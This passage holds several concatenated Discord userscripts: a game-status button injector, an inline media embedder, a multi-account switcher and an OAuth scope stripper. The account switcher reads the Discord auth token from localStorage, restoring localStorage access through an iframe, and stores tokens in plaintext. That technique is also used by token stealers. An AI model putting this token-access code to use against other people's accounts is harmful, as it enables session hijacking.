AuNS0wLjQtMS4xIDAuMS0xLjEgMWwwIDIxLjVjMCAwLjkgMC42IDEuNCAxLjEgMWwxMi4yLTEwLjhjMC4yLTAuMiAwLjQtMC42IDAuNC0xeiIgY2xhc3M9InMxOSIvPjxwYXRoIGQ9Im0tNjI0LjQtNjY5LjZjMC0wLjQtMC4yLTAuNy0wLjQtMC45bC0xMi4yLTEwLjhjLTAuNS0wLjQtMS4xIDAuMS0xLjEgMWwwIDIxLjVjMCAwLjkgMC42IDEuNCAxLjEgMWwxMi4yLTEwLjhjMC4yLTAuMiAwLjQtMC42IDAuNC0xeiIgaWQ9InBhdGg3MDQ3IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9ImNjY2NjY2NjIiBzdHlsZT0iYmFzZWxpbmUtc2hpZnQ6YmFzZWxpbmU7YmxvY2stcHJvZ3Jlc3Npb246dGI7Y2xpcC1ydWxlOm5vbnplcm87Y29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzOmxpbmVhclJHQjtjb2xvci1pbnRlcnBvbGF0aW9uOnNSR0I7Y29sb3ItcmVuZGVyaW5nOmF1dG87Y29sb3I6IzAwMDAwMDtkaXJlY3Rpb246bHRyO2Rpc3BsYXk6aW5saW5lO2VuYWJsZS1iYWNrZ3JvdW5kOmFjY3VtdWxhdGU7ZmlsbC1ydWxlOm5vbnplcm87ZmlsbDp1cmwoI2xpbmVhckdyYWRpZW50NzExOSk7Zm9udC1mYW1pbHk6c2Fucy1zZXJpZjtmb250LXNpemU6bWVkaXVtO2ltYWdlLXJlbmRlcmluZzphdXRvO2lzb2xhdGlvbjphdXRvO2xldHRlci1zcGFjaW5nOm5vcm1hbDtsaW5lLWhlaWdodDpub3JtYWw7bWl4LWJsZW5kLW1vZGU6bm9ybWFsO292ZXJmbG93OnZpc2libGU7c2hhcGUtcmVuZGVyaW5nOmF1dG87c29saWQtY29sb3I6IzAwMDAwMDtzb2xpZC1vcGFjaXR5OjE7dGV4dC1hbGlnbjpzdGFydDt0ZXh0LWFuY2hvcjpzdGFydDt0ZXh0LWRlY29yYXRpb24tY29sb3I6IzAwMDAwMDt0ZXh0LWRlY29yYXRpb24tbGluZTpub25lO3RleHQtZGVjb3JhdGlvbi1zdHlsZTpzb2xpZDt0ZXh0LWRlY29yYXRpb246bm9uZTt0ZXh0LWluZGVudDowO3RleHQtcmVuZGVyaW5nOmF1dG87dGV4dC10cmFuc2Zvcm06bm9uZTt3aGl0ZS1zcGFjZTpub3JtYWw7d29yZC1zcGFjaW5nOm5vcm1hbDt3cml0aW5nLW1vZGU6bHItdGIiLz48L2c+PHBhdGggaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgZD0ibTU4OC44IDE0MC44Yy00LjggMC04LjcgMy45LTguNyA4LjdsMCA1MC4zLTUwLjMgMGMtNC44IDAtOC43IDMuOS04LjcgOC43bDAgNTAuN2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuMyAwIDAgNTAuM2MwIDQuOCAzLjkgOC43IDguNyA4LjdsNTAuNyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjMgNTAuMyAwYzQuOCAwIDguNy0zLjkgOC43LTguN2wwLTUwLjdjMC00LjgtMy45LTguNy04LjctOC43bC01MC4zIDAgMC01MC4zYzAtNC44LTMuOS04LjctOC43LTguN2wtNTAuNyAweiIgaWQ9InBhdGg3MDQ5IiBjbGFzcz0iczE3Ii8+PHBhdGggZD0ibTE4Ny45IDIxNS4xIDAgMjguMWMwIDQuMi0zLjQgNy41LTcuNSA3LjVsLTE5LjYgMGMtNC4yIDAtOC4zLTQuNS0xMS4xLTcuNS0zLjEtMy4zLTEwLTktMTAuMy0xMy4yLTAuMy01LjQgNi4yLTExIDkuOS0xNC45IDIuOS0zIDcuMy03LjUgMTEuNS03LjVsMTkuNiAwYzQuMiAwIDcuNSAzLjQgNy41IDcuNXoiIGlkPSJwYXRoNzA1MSIgaW5rc2NhcGU6Y29ubmVjdG9yLWN1cnZhdHVyZT0iMCIgc29kaXBvZGk6bm9kZXR5cGVzPSJzc3Nzc3Nzc3NzIiBmaWxsPSJ1cmwoI2xpbmVhckdyYWRpZW50NzEyMSkiLz48cGF0aCBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIGlkPSJwYXRoNzA1MyIgZD0ibTE0My4zIDI4Ny44LTI4LjEgMGMtNC4yIDAtNy41LTMuNC03LjUtNy41bDAtMTkuNmMwLTQuMiA0LjUtOC4zIDcuNS0xMS4xIDMuMy0zLjEgOS0xMCAxMy4yLTEwLjMgNS40LTAuMyAxMSA2LjIgMTQuOSA5LjkgMyAyLjkgNy41IDcuMyA3LjUgMTEuNWwwIDE5LjZjMCA0LjItMy40IDcuNS03LjUgNy41eiIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcxMjMpIi8+PHBhdGggZD0ibTE0My4zIDE3MC40LTI4LjEgMGMtNC4yIDAtNy41IDMuNC03LjUgNy41bDAgMTkuNmMwIDQuMiA0LjUgOC4zIDcuNSAxMS4xIDMuMyAzLjEgOSAxMCAxMy4yIDEwLjMgNS40IDAuMyAxMS02LjIgMTQuOS05LjkgMy0yLjkgNy41LTcuMyA3LjUtMTEuNWwwLTE5LjZjMC00LjItMy40LTcuNS03LjUtNy41eiIgaWQ9InBhdGg3MDU1IiBpbmtzY2FwZTpjb25uZWN0b3ItY3VydmF0dXJlPSIwIiBzb2RpcG9kaTpub2RldHlwZXM9InNzc3Nzc3Nzc3MiIGZpbGw9InVybCgjbGluZWFyR3JhZGllbnQ3MTI1KSIvPjxnIGlkPSJnNzA1NyIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoODQ1LjkxODczLDg5OS44MTU1MykiPjxyZWN0IGlkPSJyZWN0NzA1OSIgd2lkdGg9IjM4IiBoZWlnaHQ9IjIxLjIiIHg9Ii01NDIuMSIgeT0iLTYyNy4yIiBmaWxsPSIjZTdlOGU4Ii8+PHJlY3QgeT0iLTYyNy40IiB4PSItNTQyLjEiIGhlaWdodD0iMjEuMiIgd2lkdGg9IjM4IiBpZD0icmVjdDcwNjEiIGZpbGw9IiMxNjE3MTciLz48cmVjdCB5PSItNjI2LjciIHg9Ii01NDEuMyIgaGVpZ2h0PSIxOS4yIiB3aWR0aD0iMzYuMyIgaWQ9InJlY3Q3MDYzIiBmaWxsPSIjZjlmOWY5Ii8+PHJlY3QgaWQ9InJlY3Q3MDY1IiB3aWR0aD0iMzYuMyIgaGVpZ2h0PSIxOS4yIiB4PSItNTQxLjMiIHk9Ii02MjYuMSIgZmlsbD0idXJsKCNsaW5lYXJHcmFkaWVudDcxMjcpIi8+PC9nPjxwYXRoIGQ9Im0yMzAuNiAzMTMuN2MwIDAgMS4xIDUuMyAyLjggNy4zIDMuNyA0LjYgOS4yIDcuOCAxNC45IDkuNSAyMy43IDYuOSA1Ni4xIDUgODguOCA1LjYgNzMuNyAxLjQgMTAyLjQtMC40IDE0OS41LTEuNiA0LjktMC4xIDguOS00LjQgMTMuNi03LjMgNC43LTIuOSA4LjEtMTQuNCA4LjEtMTQuNGwtMC44IDBjLTEuMSAyLjYtMi41IDMuMi00LjQgMy4zLTg0LjQgMi45LTE3My4zIDYuNS0yNjMuMiAwLjctMi4xLTAuMS01LjYtMS40LTYuNC0yLjYtMC4zLTAuNC0xLjEtMS44LTEuMi0yLjN6IiBpZD0icGF0aDcwNjciIGlua3NjYXBlOmNvbm5lY3Rvci1jdXJ2YXR1cmU9IjAiIHNvZGlwb2RpOm5vZGV0eXBlcz0iY3Nzc3NzY2Njc3NjYyIgc3R5bGU9ImZpbGw6dXJsKCNsaW5lYXJHcmFkaWVudDcxMjkpO29wYWNpdHk6MCIvPjwvZz48L2c+PC9zdmc+';

let game_name = '';

// UI

function triggerMouseOver (element, enter) {
	// https://developer.mozilla.org/en-US/docs/Web/API/MouseEvent
	const event = new MouseEvent('mouse' + (enter ? 'over' : 'out'), {
		view: window,
		bubbles: true,
		cancelable: true
	})

	// https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/dispatchEvent
	element.dispatchEvent(event)
}

function gameUI() {
	game_name = prompt("Game Name? (empty = remove)");
	if (game_name === null) return;
	let msg = { "op": 3, "d": { "status": window._dgs_last_status_, "since": 0, "afk": false } };
	msg.d.game = game_name.length > 0 ? { "name": game_name, "type": 0 } : null;
	window._dgs_game_entry_ = msg.d.game;
	window._ws_.send(JSON.stringify(msg));
	if (game_name.length == 0) {
		console.log("[Discord Game Status] Removed game status.");
	} else {
		console.log("[Discord Game Status] Set game name as: " + game_name);
	}
}

function setTooltipTemplate (container, template) {
	tooltip_container = container;
	tooltip_template = template;
}

function tooltipUI (ev, onoff) {
	if (tooltip_container == null) return;
	if (onoff) {
		let left = 0;
		if (ev && ev.currentTarget) {
			const rect = ev.currentTarget.getBoundingClientRect();
			left = rect.left - (game_name ? game_name.length * 1.5 : 0) - rect.width * 1.4;
		}

		tooltip_container.innerHTML = tooltip_template;
		let tooltip = tooltip_container.querySelectorAll('div[class^="tooltip-"]')[0];
		tooltip.style = "position:fixed; left:" + left + "px; bottom:51px;";
		tooltip.querySelectorAll('div[class^="tooltipContent-"]')[0].textContent = game_name && game_name.length > 0 ? 'Game Status: ' + game_name : 'Set Game Status';
	} else {
		tooltip_container.innerHTML = '';
	}
}

function tooltipUIon  (ev) { return tooltipUI (ev, true);  }
function tooltipUIoff (ev) { return tooltipUI (ev, false); }

// wait for UI
let interval_UI_id = null;
function interval_UI() {
	const nameTag = document.querySelectorAll('div[class^="nameTag-"]')[0];
	if (!nameTag) return;
	const existing_button = nameTag.parentNode.getElementsByTagName("button")[0];
	if (!existing_button) return;
	const buttons = existing_button.parentNode;

	if (buttons && buttons.childNodes.length > 0) {
		clearInterval(interval_UI_id);

		console.log("%c/!\\\\" + "%cInjected Discord Game Status!" + "%c/!\\\\", "color: #dd44dd; -webkit-text-stroke: 2px black; font-size: 30px; font-weight: bold; \
			border-style: double; border-width: 10px", "color: #dd44dd; -webkit-text-stroke: 2px black; font-size: 30px; font-weight: bold; border-style: double; \
			border-width: 10px", "color: #dd44dd; -webkit-text-stroke: 2px black; font-size: 30px; font-weight: bold; border-style: double; border-width: 10px");

		{ // steal the HTML code of a working tooltip
			triggerMouseOver (existing_button, true);
			window.tooltip = document.querySelectorAll ('div[class^="tooltip-"]')[0];
			tooltip.style = "opacity: 1; transform: none";
			let container = tooltip.parentNode.parentNode;
			let container_content = container.innerHTML;
			triggerMouseOver (existing_button, false);
			let cloned_container = container.cloneNode (true);
			container.parentNode.appendChild (cloned_container);
			setTooltipTemplate (cloned_container, container_content);
			tooltipUIoff();
		}

		// construct the actual button and style it

		const button = buttons.childNodes[1].cloneNode (true);
		buttons.appendChild (button);
		button.addEventListener ("click", gameUI, false);
		button.addEventListener ("mouseenter", tooltipUIon, false);
		button.addEventListener ("mouseleave", tooltipUIoff, false);

		let button_button = button.children[0];
		button_button.className += " btn-gamestatus";
		button_button.style = "";
		button_button.innerHTML = ""; // remove contents (svg), we're doing this via background-image like in the old Discord times!

		const style = document.createElement ("style");
		const sheet = document.head.appendChild (style).sheet;
		sheet.insertRule (".btn-gamestatus:hover {-webkit-filter: brightness(165%);}", sheet.cssRules.length);
		sheet.insertRule (".btn-gamestatus { width: 20px; height: 20px; opacity: 1; -webkit-filter: brightness(115%); background-size: 18px auto; background-repeat: no-repeat; background-position: center; background-image: url('" + button_icon + "')}", sheet.cssRules.length);
	}
}

interval_UI_id = setInterval (interval_UI, 1);

`);


(function() {
    'use strict';
	//main Loop, LOOKS FOR LINKS
	function hasAttach(element){
		if(element.id == "checked"){
			return false;
		}
		var children = element.childNodes;
		element.id = "checked";
			if(children !== undefined){
				return true;
			}else{
				return false;
			}

		}
	function displayAs(element,url,video){
		video.src = url;
		video.setAttribute("controls", "");
		element.appendChild(video);
	}
	setInterval(function(){
		//msg first support later


		//loop for lattest 5 messages
		var Acc = document.getElementsByClassName("accessory");
		for(var i=1; i<Acc.length; i++){
			var videoTemplate = document.createElement("video");
            videoTemplate.style.height = "214px";
			var curAcc = Acc[Math.abs(Acc.length - i)];
			if(hasAttach(curAcc)){
			  console.log("Video Found");
			  var children = curAcc.childNodes;
			  var url = curAcc.childNodes[0].childNodes[1].childNodes[0].href;
			  var endCap = url.split(".").pop();
				var validEndCapsVid = "webm mp4 wma m4v mov avi flx mpg wmv";
				var validEndCapsAud = "mp3 aac ogg m4a flac wav";
			  if(!validEndCapsVid.includes(endCap) && !validEndCapsAud.includes(endCap) && endCap == undefined){
				  return;
			  }
              if(validEndCapsAud.includes(endCap)){
				 videoTemplate = document.createElement("audio");
			  }
			  //videoTemplate.setAttribute("style", "");
			  displayAs(curAcc,url,videoTemplate);
		    }
		}
	},300);
    // Your code here...
})();


(function() {
    'use strict';
    const v = "1.6";
    const apiPrefix = "https://discord.com/api/v8";
    let neededClasses = [];
    let functionKeeper = webpackJsonp[0][1];

    let classesContain = [
        ["menu","scroller","styleFixed","styleFlexible","item","hideInteraction","customItem","labelContainer","label","subtext","iconContainer","icon","hintContainer","imageContainer","caret","image","disabled","separator","submenuContainer","submenuPaddingContainer","submenu","colorDefault","checkbox","radioSelection","check","focused","colorBrand","colorDanger","colorPremium","groupLabel"],
        ["statusItem","status","icon","description","customStatusItem","customStatusWithEmoji","customEmoji","customEmojiPlaceholder","customText","clearStatusButton","clearStatusIcon"],
        ["layerContainer","layer","layerHidden","disabledPointerEvents"],
        ["backdrop","backdropWithLayer"],
        ["backdrop","layer"],
        ["responsiveWidthMobile","innerPadding","focusLock","root","small","medium","large","fullscreenOnMobile","footer","header","separator","content","close","hideOnFullscreen"],
        ["artHeight","emojiSize","emojiMargin","formGroup","modalRoot","inputContainer","modalCloseButton","headerText","emojiButton","fullOpacity","emojiButtonContainer","emoji","input","clearButton","clearIcon","headerContainer","header","art","cancelButton"],
        ["_flex","_horizontal","_horizontalReverse","flex","horizontal","horizontalReverse","flexChild","flexMarginReset"],
        ["flex","alignStart","alignEnd","alignCenter","alignStretch","alignBaseline","justifyStart","justifyEnd","justifyCenter","justifyAround","justifyBetween","noWrap","wrap","wrapReverse","directionRow","directionRowReverse","directionColumn","spacer","vertical","horizontal","horizontalReverse","flexCenter"],
        ["button","lookFilled","colorBrand","spinnerItem","lookInverted","lookOutlined","lookGhost","lookLink","contents","hoverBrand","hasHover","colorGrey","hoverGrey","colorRed","hoverRed","colorGreen","hoverGreen","colorYellow","hoverYellow","colorLink","hoverLink","colorWhite","hoverWhite","colorBlack","hoverBlack","colorPrimary","hoverPrimary","colorTransparent","hoverTransparent","lookBlank","sizeTiny","sizeSmall","sizeMedium","sizeLarge","sizeXlarge","sizeMin","sizeMax","sizeIcon","grow","fullWidth","submitting","spinner","disabledButtonWrapper","disabledButtonOverlay"],
        ["scrollerBase","thin","fade","scrolling","auto","none","content","disableScrollAnchor"],
        ["container","downloadProgressCircle","guilds","base","sidebar","hasNotice","panels","content","activityPanel","hiddenOnMobileStore"],
        ["notice","colorDefault","button","colorNeutral","colorDownload","colorNotification","colorDark","colorPremium","colorPremiumTier1","colorPremiumTier2","colorInfo","colorSuccess","colorDanger","colorStreamerMode","colorSpotify","platformIcon","colorBrand","colorCustom","closeButton","buttonMinor"],
    ];
    let ccSet = [];
    for (let i = 0; i < classesContain.length; i++) {
        const element = classesContain[i];
        ccSet.push(new Set(element));
    }
    for (const key in functionKeeper) {
        if (functionKeeper.hasOwnProperty(key)) {
            const element = functionKeeper[key];
            let ans = {};
            element(ans);
            ans = ans.exports;
            if(ans != undefined || ans != null){
                ans = Object.keys(ans);
                let a = new Set(ans);
                for (let j = 0; j < ccSet.length; j++) {
                    const element2 = ccSet[j];
                    if(eqSet(element2, a)){
                        neededClasses[j] = key;
                    }
                }
            }
        }
    }
    function eqSet(as, bs) {
        if (as.size !== bs.size) return false;
        for (var a of as) if (!bs.has(a)) return false;
        return true;
    }
    let allClasses = {};
    const createElm = (html) => {
        const temp = document.createElement('div');
        temp.innerHTML = html;
        return temp.removeChild(temp.firstElementChild);
        //webpackJsonp[0][1][neededClasses[0]].toString(); is the way
    }
    const insertCss = (css) => {
        const style = document.createElement('style');
        style.appendChild(document.createTextNode(css));
        document.head.appendChild(style);
        return style;
    }
    insertCss(`.customAccount {background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgZmlsbD0iI0I5QkJCRSIgd2lkdGg9IjE4cHgiIGhlaWdodD0iMThweCI+PHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPjxwYXRoIGQ9Ik0xNiAxMWMxLjY2IDAgMi45OS0xLjM0IDIuOTktM1MxNy42NiA1IDE2IDVjLTEuNjYgMC0zIDEuMzQtMyAzczEuMzQgMyAzIDN6bS04IDBjMS42NiAwIDIuOTktMS4zNCAyLjk5LTNTOS42NiA1IDggNUM2LjM0IDUgNSA2LjM0IDUgOHMxLjM0IDMgMyAzem0wIDJjLTIuMzMgMC03IDEuMTctNyAzLjVWMTloMTR2LTIuNWMwLTIuMzMtNC42Ny0zLjUtNy0zLjV6bTggMGMtLjI5IDAtLjYyLjAyLS45Ny4wNSAxLjE2Ljg0IDEuOTcgMS45NyAxLjk3IDMuNDVWMTloNnYtMi41YzAtMi4zMy00LjY3LTMuNS03LTMuNXoiLz48L3N2Zz4=);background-size: contain;background-repeat: no-repeat;}
               .changeAccount {grid-area: icon;margin-left: -2px;width: 16px;height: 16px;}
               .accountChooserContainer {display: flex;height: 70px;}
               .accountChooserAvatar {border-radius: 50%; align-self: center;height: 80%;}
               .accountName {align-self: center;font-size: x-large;font-weight: 400;color: var(--interactive-active);}
               .accountLogin {margin-left: auto;align-self: center;padding: 8px 20px;background-color: #43b581;font-weight: 900;color: #fff;border-radius: 5px;}
               .accountLogin:hover {background-color: #3ca374;}
               .accountDiscriminator{align-self: center;margin-top: 7px;color: var(--header-secondary);}
               #addAccount{margin-left: auto;margin: 10px auto;color: var(--header-secondary);cursor: pointer;}
               #addAccount:hover{text-decoration: underline;}
               .versionNotifier {background-color: #6b1ba7;}
               #changeLogButtonClick:hover {color: #6b1ba7;}
        `);
    function parseAllClasses(){
        for (var i = 0; i < neededClasses.length; i++) {
            let x = {};
            webpackJsonp[0][1][neededClasses[i]](x);
            allClasses[neededClasses[i]] = x.exports;
        }
        console.log(allClasses);
    }
    window.onclick = () => {
        let cont = document.getElementsByClassName(allClasses[neededClasses[0]].scroller);
        if(cont.length > 0 && !document.getElementById("status-picker-account")){
            cont[0].appendChild(createElm(`<div role="separator" class="${allClasses[neededClasses[0]].separator}"></div>`));
            let elmnt = createElm(`<div class="${allClasses[neededClasses[0]].item} ${allClasses[neededClasses[0]].colorDefault}" aria-disabled="false" role="menuitem" id="status-picker-account" tabindex="-1"><div class="${allClasses[neededClasses[1]].statusItem}" aria-label="Set a custom status"><div class="changeAccount customAccount"></div><div class="${allClasses[neededClasses[1]].status}">Change account</div></div></div>`);
            elmnt.onmouseover = () => {
                let allElmnts = document.getElementsByClassName(allClasses[neededClasses[0]].item);
                for (var i = 0; i < allElmnts.length; i++) {
                    allElmnts[i].classList.remove(allClasses[neededClasses[0]].focused);
                }
                elmnt.classList.add(allClasses[neededClasses[0]].focused);
            }
            elmnt.onmouseleave = () => {
                let allElmnts = document.getElementsByClassName(allClasses[neededClasses[0]].item);
                for (var i = 0; i < allElmnts.length; i++) {
                    allElmnts[i].classList.remove(allClasses[neededClasses[0]].focused);
                }
            }
            elmnt.onclick = openPicker;
            cont[0].appendChild(elmnt);
        }
        if(localStorage.versionMA != v && !document.getElementsByClassName("versionNotifier")[0]){
            let baseElement = document.getElementsByClassName(allClasses[neededClasses[11]].base);
            if(baseElement[0]){
                baseElement[0].prepend(createElm(`<div class="${allClasses[neededClasses[12]].notice} ${allClasses[neededClasses[12]].colorDefault} versionNotifier"><div class="${allClasses[neededClasses[12]].closeButton}" id="versionNotifierCloseButton" aria-label="Dismiss" role="button" tabindex="0"></div>Multiple Discord Accounts ${v} makes corners rounder!<button id="changeLogButtonClick" class="${allClasses[neededClasses[12]].button}">View changes</button></div>`));
                document.getElementById("changeLogButtonClick").onclick = () => {
                    window.open("https://github.com/cazeip/MultipleAccounts/blob/master/changes.md");
                    document.getElementsByClassName("versionNotifier")[0].remove();
                    localStorage.versionMA = v;
                }
                document.getElementById("versionNotifierCloseButton").onclick = () => {
                    document.getElementsByClassName("versionNotifier")[0].remove();
                    localStorage.versionMA = v;
                }
            }
        }
    }
    function getUserInfo(){
        window.dispatchEvent(new Event('beforeunload'));
        let currentToken = JSON.parse(localStorage.getItem("token"));
        return fetch(apiPrefix + "/users/@me", {
            headers: {
                Accept: "*/*",
                "Accept-Language": "en-US",
                Authority: "discordapp.com",
                Authorization: currentToken,
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36",
            },
            method: "GET",
        }).then((res) => (res.status === 200 ? res.json() : Promise.resolve()))
          .catch(console.error);
    }
    function getUser(userID){
        window.dispatchEvent(new Event('beforeunload'));
        let currentToken = JSON.parse(localStorage.getItem("token"));
        return fetch(apiPrefix + "/users/"+userID, {
            headers: {
                Accept: "*/*",
                "Accept-Language": "en-US",
                Authority: "discordapp.com",
                Authorization: currentToken,
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36",
            },
            method: "GET",
        }).then((res) => (res.status === 200 ? res.json() : Promise.resolve()))
          .catch(console.error);
    }
    async function fillLocalStorage(){
        let info = await getUserInfo();
        window.dispatchEvent(new Event('beforeunload'));
        info.token = JSON.parse(localStorage.getItem("token"));
        localStorage.setItem("multipleAccounts", JSON.stringify([{id:info.id, token: info.token}]));
    }
    function apiCall(apiPath, body, method = "GET"){
        window.dispatchEvent(new Event('beforeunload'));
        let currentToken = JSON.parse(localStorage.getItem("token"));
        return fetch(apiPrefix + apiPath, {
            body: body ? JSON.stringify(body) : undefined,
            headers: {
                Accept: "*/*",
                "Accept-Language": "en-US",
                Authority: "discordapp.com",
                Authorization: currentToken,
                "Content-Type": "application/json",
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.301 Chrome/56.0.2924.87 Discord/1.6.15 Safari/537.36",
            },
            method,
        }).then((res) => (res.status === 200 ? res.json() : Promise.resolve()))
          .catch(console.error);
    }
    function changeAccount(newToken){
        window.dispatchEvent(new Event('beforeunload'));
        let token = JSON.parse(localStorage.token);
        apiCall("/auth/logout", {"provider":null,"voip_provider":null}, "POST");
        window.location.href = "http://discord.com/login";
        localStorage.token = "\""+newToken+"\"";
        if (newToken == "--[LogIn]--") {
            localStorage.removeItem("token");
        }
    }
    async function openPicker(){
        if(localStorage.getItem("multipleAccounts") == null || localStorage.getItem("multipleAccounts") == undefined){
            await fillLocalStorage();
        }else{
            let info = await getUserInfo();
            let localSt = JSON.parse(localStorage.getItem("multipleAccounts"));
            let def = false;
            for (let i = 0; i < localSt.length; i++) {
                if(localSt[i].id === info.id){
                    def = true;
                }
            }
            if(!def){
                localSt.push({id: info.id, token: JSON.parse(localStorage.getItem("token"))});
            }
            localStorage.setItem("multipleAccounts", JSON.stringify(localSt));
        }
        let info = JSON.parse(localStorage.getItem("multipleAccounts"));
        if(document.getElementById("accountPickerModal")) return;
        let a = document.getElementsByClassName(allClasses[neededClasses[2]].layerContainer);
        let y = createElm(`<div id="accountPickerBg" class="${allClasses[neededClasses[3]].backdropWithLayer}" style="opacity: 0; background-color: rgb(0, 0, 0); transform: translateZ(0px);transition: opacity 0.2s;"></div>`);
        y.onclick = closePicker;
        a[a.length - 1].appendChild(y);
        let x = createElm(`<div class="${allClasses[neededClasses[4]].layer}" id="accountPickerModal"> <div class="${allClasses[neededClasses[5]].focusLock}" role="dialog" aria-label="Set a custom status" tabindex="-1" aria-modal="true"> <div class="${allClasses[neededClasses[6]].modalRoot} ${allClasses[neededClasses[5]].root} ${allClasses[neededClasses[5]].small} ${allClasses[neededClasses[5]].fullscreenOnMobile}" id="animatedModal" style="opacity: 0;transform: scale(0.2);transition: transform .2s, opacity .2s;"> <div class="${allClasses[neededClasses[7]].flex} ${allClasses[neededClasses[7]]._horizontal} ${allClasses[neededClasses[8]].justifyStart} ${allClasses[neededClasses[8]].alignCenter} ${allClasses[neededClasses[8]].noWrap} ${allClasses[neededClasses[5]].header} ${allClasses[neededClasses[6]].headerContainer}" id="replaceBackground" style="flex: 0 0 auto;background-position: bottom;background-size: cover;background-image: url(https://cdn.discordapp.com/attachments/768475463524941865/768481090087944233/pawel-nolbert-4u2U8EO9OzY-unsplash.jpg);padding: 30px;"> <div class="${allClasses[neededClasses[6]].header}" style="padding-top: 0;"><h4 class="${allClasses[neededClasses[6]].headerText}">Choose a Discord account</h4></div><button id="closeXbutton" aria-label="Close" type="button" class="${allClasses[neededClasses[5]].close} ${allClasses[neededClasses[6]].modalCloseButton} ${allClasses[neededClasses[9]].button} ${allClasses[neededClasses[9]].lookBlank} ${allClasses[neededClasses[9]].colorBrand} ${allClasses[neededClasses[9]].grow}"> <div class="${allClasses[neededClasses[9]].contents}"> <svg aria-hidden="false" width="24" height="24" viewBox="0 0 24 24"><path fill="currentColor" d="M18.4 4L12 10.4L5.6 4L4 5.6L10.4 12L4 18.4L5.6 20L12 13.6L18.4 20L20 18.4L13.6 12L20 5.6L18.4 4Z"></path></svg> </div></button> </div><div id="accountLinesContainer" class="${allClasses[neededClasses[5]].content} ${allClasses[neededClasses[10]].thin}" dir="ltr" style="overflow: hidden scroll; padding-right: 8px; padding-top: 10px;"></div><span id="addAccount">Not seeing your account? Click here to add one.</span></div></div></div>`);
        a[a.length - 1].appendChild(x);
        document.getElementById("closeXbutton").onclick = closePicker;
        document.getElementsByClassName(allClasses[neededClasses[2]].layer)[0].style.display = "none";
        document.getElementById("addAccount").onclick = () => {
            changeAccount("--[LogIn]--");
        }
        setTimeout(async () => {
            document.getElementById("accountPickerBg").style.opacity = "0.85";
            document.getElementById("animatedModal").style.transform = "scale(1)";
            document.getElementById("animatedModal").style.opacity = "1";
            for (let i = 0; i < info.length; i++) {
                let line;
                let user = await getUser(info[i].id);
                if(user.avatar == null){
                    line = createElm(`<div class="accountChooserContainer"><img class="accountChooserAvatar" src="https://cdn.discordapp.com/embed/avatars/${user.discriminator % 5}.png"><div style="margin-left: 20px;align-self: center;display: flex;flex-direction: column;"><div><span class="accountName">${user.username}</span><span class="accountDiscriminator">#${user.discriminator}</span></div><span style="color: var(--text-muted);padding-top: 2px;padding-left: 0;">ID: ${user.id}</span></div><button id="AccountSwitchButton${i}" class="accountLogin">Log in</button></div>`);
                }else{
                    line = createElm(`<div class="accountChooserContainer"><img class="accountChooserAvatar" src="https://cdn.discordapp.com/avatars/${user.id}/${user.avatar}.png?size=128"><div style="margin-left: 20px;align-self: center;display: flex;flex-direction: column;"><div><span class="accountName">${user.username}</span><span class="accountDiscriminator">#${user.discriminator}</span></div><span style="color: var(--text-muted);padding-top: 2px;padding-left: 0;">ID: ${user.id}</span></div><button id="AccountSwitchButton${i}" class="accountLogin">Log in</button></div>`);
                }
                document.getElementById("accountLinesContainer").appendChild(line);
                document.getElementById("AccountSwitchButton"+i).onclick = () => {
                    changeAccount(info[i].token);
                }
            }
        }, 100);
    }
    function closePicker(){
        document.getElementById("accountPickerBg").style.opacity = "0";
        document.getElementById("animatedModal").style.transform = "scale(0.2)";
        document.getElementById("animatedModal").style.opacity = "0";
        setTimeout( () => {
            document.getElementById("accountPickerBg").remove();
            document.getElementById("accountPickerModal").remove();
        }, 201);
    }
    window.localStorage = document.body.appendChild(document.createElement('iframe')).contentWindow.localStorage;
    parseAllClasses();
})();


(function () {
	'use strict';

	const config = new MonkeyConfig({
		title: 'Discord Authorization Page',
		menuCommand: true,
		params: {
			removeGuildsJoinScope: {
				type: 'checkbox',
				default: true
			},
			removeEmailScope: {
				type: 'checkbox',
				default: false
			},
			skipPromptIfPossible: {
				type: 'checkbox',
				default: false
			}
		}
	});

	const urlParams = new URLSearchParams(location.search);

	if (RegExp('discord.com/oauth2/authorize').test(document.referrer)) {
		console.log('previos page was authorize, exiting');
		return;
	}

	let href = location.href;

	const scopes = urlParams.get("scope").split(' ');

	if (config.get('removeGuildsJoinScope') && scopes.includes('guilds.join')) {
		console.log('found guilds.join scope, removing it');
		href = href.replace(/guilds.join/, '');
	}

	if (config.get('removeEmailScope') && scopes.includes('email')) {
		console.log('found email scope, removing it');
		href = href.replace(/email/, '');
	}

	console.log('moving to new domain');
	location.assign(`${href}${config.get('skipPromptIfPossible') ? '&prompt=none' : ''}`);
})();